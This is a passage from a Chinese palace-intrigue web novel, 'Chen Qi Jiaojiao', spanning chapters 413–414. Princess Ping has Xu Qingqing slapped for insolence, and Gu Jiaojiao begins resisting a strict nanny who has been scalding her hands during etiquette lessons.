平王妃曾对徐青青施教,到现在为止,徐青青的那双手都不敢示于人前,如今得到机会,自然是有仇报仇,有怨报怨。 可她不知道,平王妃根本不将她放在眼里。 平王向来以大业为重,徐青青也曾让他丢尽颜面,他现在表现出的父女情深,不过是因为徐青青还有利用价值罢了。 “你倒不是什么恶人,只是贱婢所生之女,恶心人罢了。” 平王妃端庄,眸子里一片清冷,所说出来的话也毫不留情。 徐青青最在意的便是提到她的生母,这份耻辱跟随她多年,以为回到平王府,便可脱了这身骂名,却依旧未能得偿所愿。 “你……” 徐青青欲上前,却被孙协兆拉住。 “王妃息怒,青青她向来口无遮拦,我替她向您道歉,还望王妃大人不记小人过,莫要放在心上。” 孙协兆可没有徐青青这份底气。 平王妃本也不欲计较,可徐青青却用力的甩开孙协兆的手,没有丝毫退步的意思。 “道什么歉?她不过是就是占了平王妃的位置而已,有什么了不起。” 说完,徐青青又看向平王妃,眼中满是鄙夷。 “你确实有一个好出身,只可惜,父王为你空悬后院多年,你却连一子半女都未产下,若不是你占了这个位置,何至于平王府连个继人都没有?” 这也是平王妃曾经的痛楚,她盼望得子,却到现在为止都没有任何动静。 但现在,她已经不在意了。 只是,徐青青敢当众如此挑衅于她,哪怕是为了王妃的颜面,她也不可就此算了。 “来人,掌嘴。” 平王妃的脸上未有多余的神情,说出这句话的时候,也显得云淡风轻。 紧接着几个侍女便直奔徐青青而去。 徐青青不禁后退几步。 “你敢,你……” 她话还没有说完,便已经被两个侍女钳制住。 “王妃息怒,青青她,她不是有意的,王妃……” “你再多嘴,本王妃也会知道什么叫生不如死。” 平王妃挑眉,只斜睨了孙协兆一眼。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第四百一十三章 我不想学了 徐青青的愚蠢在于,平王妃能安然无恙的生活在这平王府里,自有她的资本。 此时,徐青青被人钳制住,而另一个侍女便站在她面前,毫不留情的甩出了巴掌。 清脆的响声在这院子里格外显眼,偶尔有路过侍从,却也只是远远的躲开了,就连孙协兆也只是站在一旁,神色为难的的看着。 十几个耳光甩出去后,平王妃喊了停下。 徐青青的脸已经肿的看不出本来的样子,唇角有鲜血滴落下来,整个头都觉得晕晕乎乎。 她自然是恨的,只是这恨又显得那么无能为力,微不足道。 “你看,我什么都敢,从这条路过去,便是王爷的书房,本王妃在这里打了你这么久,你猜消息会不会传到王爷那里?” 平王妃语气平静,神色平静,就似只是说着一件再轻巧不过的事。 徐青青满嘴的血腥味,眼中也不自觉的袭上恐惧,她说不出来话,也着实不敢再说什么。 “罢了,本王妃乏了,你们出府吧,对了,若是要告状,现在便去,过一会儿王爷怕是就不在府内了。” 平王妃拿着手帕轻捂了下鼻尖,看向徐青青的目光里满是嫌弃,而后便头也不回的走了。 平王妃的这份淡定与高傲,是徐青青一辈子也学不来的。 孙协兆此时也反应过来,立即上前将徐青青揽入怀中,眼中满是心疼。 “青青,我们回府,我给你找最好的医士。” 徐青青却在此时摇头,她想去找平王,用这张脸来告诉平王,他的正妃是多么恶毒之人。 “青青,我们不能去,若是惊动了王爷,王爷必定会问及详情,只你说的那些话,怕是王爷……” 孙协兆没有再说下去,徐青青也停下了脚步。 是啊,她不能去找平王,想来平王妃也是摸准了这一点,才敢在王府之中对她用刑。 最后,在孙协兆的搀扶下,徐青青还是灰溜溜的离开了。 就如平王妃所言,平王早就知道了徐青青被掌嘴之事,但他并未理会。 “徐青青主意大,又是个惹事的性子,敢在王府里对王妃不敬,是该给些教训。” 平王说这话的时候,也有其他考量。 他要在人前与平王妃扮演恩爱夫妻,自不会为了偏袒徐青青而驳平王妃的面子。 李嬷嬷站在一旁,微微点头。 “王爷说的是,青青虽是年轻沉不住气,但尊卑有别的道理也该懂。” “你午后带些药去趟安阳候府,也提点一下她,莫要让本王为难。” 平王明显是有其他的意思,他从来都不会为难,只会解决让他为难的人。 “是。” 李嬷嬷应下后,才退了出去。 皇宫。 顾皎皎每日都在学着各种规矩,很是疲累,但到底是圣旨,她无法违抗,日日坚持着。 只是,近来这学规矩却有些变了味道。 莫嬷嬷一向严苛,这顾皎皎是知道的,但她也分得清,严苛和刻意为难是两回事。 “嬷嬷,今日可不可先不学敬茶?姑娘的手烫出了水泡,还未结痂,怕是承受不了装满滚烫茶水的茶盏。” 云舒向莫嬷嬷求情时,还特意奉上了一支上好的珠钗。 莫嬷嬷却只是冷眼扫了一眼,碰都没有碰一下。 “云舒,老奴是御前的人,你这种行为若是被陛下知道,那就是贿赂,你我可都是会没命的。” 她说的郑重,使云舒将伸出的手瞬间收回,将那珠钗紧紧握住。 “老奴也知道你心疼顾姑娘,可越是为她好,便越不能心软,这敬茶本就是宫中女必会的,若是日后侍奉太子妃,乃至是皇后,只打碎茶盏这一项,便可挨板子的。” 莫嬷嬷的话,让云舒一时无法反驳。 她们二人的对话,都被欲从内室走出来的顾皎皎听了个清清楚楚。 她近来学敬茶,煮茶,若只是苦些,烫些也是无妨。 只是,她所用的茶盏根本不是宫中所有,而是普通百姓农户家所用之物,极薄,只拿在手里滚烫之感便立即袭来。 还有煮茶之时,顾皎皎本是煮得一手好茶,就是沈云祉都极爱的,可是这么莫嬷嬷却总是不满,一遍又一遍的让她了重复,直到她的手腕酸痛的抬不起来才肯停下。 而后,就是顾皎皎十指上被烫出来的水泡,刚刚戳破,莫嬷嬷便会立即让她捧着茶盏跪着,一壶壶滚烫的热水注入,那疼痛如钻心一般,莫嬷嬷不喊停下,她便只能举着。 时间久了,就算顾皎皎再笨,也可看出这其中蹊跷。 “云舒,莫要为难嬷嬷。” 顾皎皎从内室走了出来,面含笑意,她将手放在袖子里,也是不想让别人看到她的伤。 云舒后退。 莫嬷嬷倒是一副理直气壮的模样。 “多谢顾姑娘体谅。” 她微躬着身子,依旧是礼数周到。 顾皎皎笑的更为灿烂,转身坐到了椅子上。 “只是今日,我不想学了。” 她抬起眼帘,看着莫嬷嬷,也可看到她震惊之余,极力压抑着怒火。 “顾姑娘莫要开玩笑,老奴奉旨,实在不敢懈怠分毫,也望姑娘莫当成儿戏。” 好像,莫嬷嬷习惯将‘奉旨’二字挂在嘴边。 顾皎皎以前并未放在心上,只觉得她是职责所在,现在看来却不尽然,更多的应该是用皇上来压顾皎皎。 “我并未与你玩笑,跟你学了几日规矩,不是这伤便是那痛,难不成每一位入宫的妃子都要受这苦痛?” “顾姑娘,吃得苦中苦,方为人上人,何况,这是皇上的……” “我知是皇上的旨意。” 顾皎皎打断了她的话,而后叹了口气后,才装出无奈的模样继续说下去。 “皇上既知我身份,又如此严苛的让你来教规矩,想来也是瞧不上我的,应该也不愿让我留在皇宫,那我便不吃这样的苦了,你且回皇上,只说我不服管教便是。” 她这份无赖的态度还是跟沈云祉学的,没有十分像,也得有七八分。 莫嬷嬷的脸色瞬间难看了不少。 “顾姑娘这样说,便是误会皇上了。” 她倒是给人一副诚恳的模样。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第四百一十四章 再等等 “民女一介商女,本不配入宫,无才无德,即使皇上这般想也是情理之中。” 顾皎皎笑意盈盈的看着莫嬷嬷,没有丝毫责怪之意。 见莫嬷嬷愣在那里,她便又说了下去。 “今日不想学规矩,莫嬷嬷如实禀告皇上就是,想着怕是嬷嬷不好交差,你放心,待皇上定民女罪之时,民女定会表明嬷嬷的忠心与负责,绝不会连累嬷嬷。” 顾皎皎好看的眸子闪烁着晶莹的光芒,说的轻描淡写,一副无所谓的态度。 莫嬷嬷终于回过神来,面容都严肃了几分。 “顾姑娘,做事可不能这般三天打渔两天晒网,老奴不敢放姑娘如此任性,老奴……” “那你便去向皇上回话吧,或者去找太子也行。” 顾皎皎语毕,还装模作样的打了个哈欠,转头看向一旁的侍女。 “无意,起的太早,扶我再去睡会儿,对了,云舒,我手指疼的厉害,传位太医吧。” 她大摇大摆的走回了内室。 听到传太医,莫嬷嬷的脸上不禁闪过一阵慌乱。 说起来,顾皎皎也是要强之人,自开始学规矩起,她常常受伤,可即使是痛的再厉害,也不曾传过太医。 这也让莫嬷嬷安心不少,可今日…… “云舒,我那里有治烫伤最好的药,随我去拿吧,就不必劳烦太医了。” 莫嬷嬷自入了这东宫,由于顾皎皎敬着,其他下人自也是尊敬无比,所以养成了她说任何话,做任何事都一副下达命令的模样。 云舒停下欲出门的脚步,歪头有些奇怪的看着莫嬷嬷。 “嬷嬷这是何意?您刚刚也听到了,姑娘要传太医。” “顾姑娘毕竟不是正经的主子,因为一点小伤小痛便叫太医,知道的是姑娘略矫情了些,不知道的还以为顾姑娘是得势张狂。” 莫嬷嬷微昂着头,每一句都说的理直气壮。 云舒却在此时笑了笑。 “嬷嬷这话便是错了,奴婢们被调入东宫,奉太子之命,侍奉的就是主子,姑娘虽然没有名分,我们这些做下人的,也是不敢违逆的。” 云舒看了一眼外面,欠身行了个礼。 “奴婢这先去请太医了,若是晚了,怕姑娘会责怪呢。” 她根本不给莫嬷嬷说话的机会,转身便走了出去。 莫嬷嬷放在袖子里的手都不禁紧了几分。 她总觉得今日的顾皎皎有些奇怪,同往日大相径庭,可她又想不出哪里出了问题。 莫嬷嬷只得先回去,再去做打算。 内室里。 “无意,你帮我去找一人,御膳房里有个厨娘,名叫玉露,让她找个机会来见我。” 顾皎皎应该庆幸,她到现下这步田地,身边还有可信任之人,极为难得。 无意却一脸震惊。 “姑娘在宫中竟然有认识的人?” “嗯,算是吧。” “那姑娘也不早说,御膳房的厨娘,有熟人的话是可以吃到琼叶糕的。” “就知道吃,快去。” 顾皎皎轻拍了她一下,也叮嘱她不要声张,莫要让别人发现异常。 无意刚走一会儿,云舒便带着太医来了,看到顾皎皎的手后,李太医也是一惊。 “姑娘的手伤的不轻,而且是反复烫伤,怎会如此?” 李太医一边调配是着药,也一边认真的询问着,毕竟他可是奉了太子之命照顾顾皎皎身体的。 “也无妨,这不是近几日在学规矩嘛,嬷嬷在教我奉茶,我到底是没什么经验,这伤也就重了一些,劳烦太医了。” 顾皎皎说的轻描淡写,李太医的脸色却变了又变。 李太医在宫中侍奉多年,见识多了这宫中的贵人们搓磨人的法子,这奉茶也是其中一种。 不过,以往这种方法多是用在宫人身上,宫人每日劳作,那指头上的烫伤便会让他们更为难熬,而用在主子身上的,怕也只有顾皎皎了吧。 李太医不了解这其中原因,虽然心里有数,却也未敢说什么。 “姑娘这手伤严重,接下来几日便莫要学规矩了吧,微臣也会禀报太子殿下,让姑娘休息两日。” “多谢李太医。” 顾皎皎轻声应着,眼底闪过一抹狡黠,没有让人发现。 李太医离开时,还吩咐云舒,莫要让顾皎皎的手指沾水。 待太医离开后,云舒才不解的看向顾皎皎。 “姑娘不是说,你自己就有上好的烫伤药吗?为何还要让太医来这一趟?” “为了日后,有个人证。” 顾皎皎抬起手,看着自己的指尖,那些伤说重不重,说轻不轻,却也是让她心底产生了怀疑。 但莫嬷嬷到底是奉了皇命的,将来若是事情闹大,有个身为太医的证人,远比她们互相扯皮好的多。 “姑娘真是聪慧,只是接下来我们要怎么办?那莫嬷嬷到底是拿着圣旨来的,我们也不好直接与她撕破脸。” 云舒有些担忧。 这宫里就是这样,折磨人的法子大多都极为阴暗,不摆在明面上,连个罪也定不了。 “无妨,不急,再等等。” 顾皎皎侧目,看着桌角的那株红梅。 那红梅还是上次沈云祉来时带过来的,经过几日,现下已开的极盛。 她已经有几日没见过沈云祉了,听说他近来忙得很,有时候出宫办事便是一两日。 顾皎皎也知他身份如此,也并未责怪,但她也真的想让他知道,这后宫之人是如何行事的。 正在此时,无意带着一个侍女走了进来。 “奴婢见过姑娘,御膳房的厨司说姑娘宫中的小厨娘染了急病,命奴婢每日来东宫为姑娘备膳食。” 侍女跪在地上,向顾皎皎行礼。 顾皎皎笑了笑。 “有劳了。” “姑娘客气了,奴婢每日午膳与晚膳前都会过来,若姑娘有其他想用膳食,可派人来通知奴婢,奴婢提前准备,哦对了,奴婢名为玉露。” “你如此说,我正好有些想吃的,无意,命他们退了吧。” 顾皎皎看了一眼无意。 无意立即明白,将屋子里的其他下人都打发了出去。 无意和云舒被留下,是因为她们深得顾皎皎信任。 “玉露见过姑娘,姑娘可受了委屈?” 那名为玉露的姑娘没有跪下,而是直接过来检查顾皎皎的身体。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。